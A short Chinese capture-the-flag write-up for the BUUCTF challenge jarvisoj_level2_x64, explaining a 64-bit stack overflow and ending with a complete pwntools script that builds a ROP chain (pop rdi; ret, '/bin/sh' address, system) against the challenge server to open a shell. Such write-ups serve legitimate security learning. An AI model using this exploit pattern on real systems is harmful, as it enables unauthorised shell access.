BUUCTF[jarvisoj_level2_x64]
2026/6/9 18:21:57 网站建设 项目流程

步骤

使用checksec查看

使用ida(pro)打开

根进vulnerable_function函数

依旧是栈溢出

这道题我们无法使用上一题的32位来直接使用plt表来跳转到system,所以我们使用ROPgadget

使用指令 ROPgadget --binary 文件名 来获取信息

这里可以查看到pop rdi;ret的地址

在64位中前几个参数我们是使用寄存器来存储的,后续的存放下栈中

与32位直接存放在栈中不同,在此处我们需要向rdi寄存器中存入我们的后门函数地址

我们通过pop rdi;ret来将/bin/sh地址存入rdi寄存器,并且调用system函数

/bin/sh地址

system地址

exp

from pwn import * #p=process('./level2_x64') p=remote('node5.buuoj.cn',29996) pop_rdi_ret_addr = 0x4006b3 bin_sh_addr = 0x600A90 system_addr = 0x40063E pay = b'a'*(0x80+8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr) p.sendlineafter(b"Input",pay) p.interactive()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询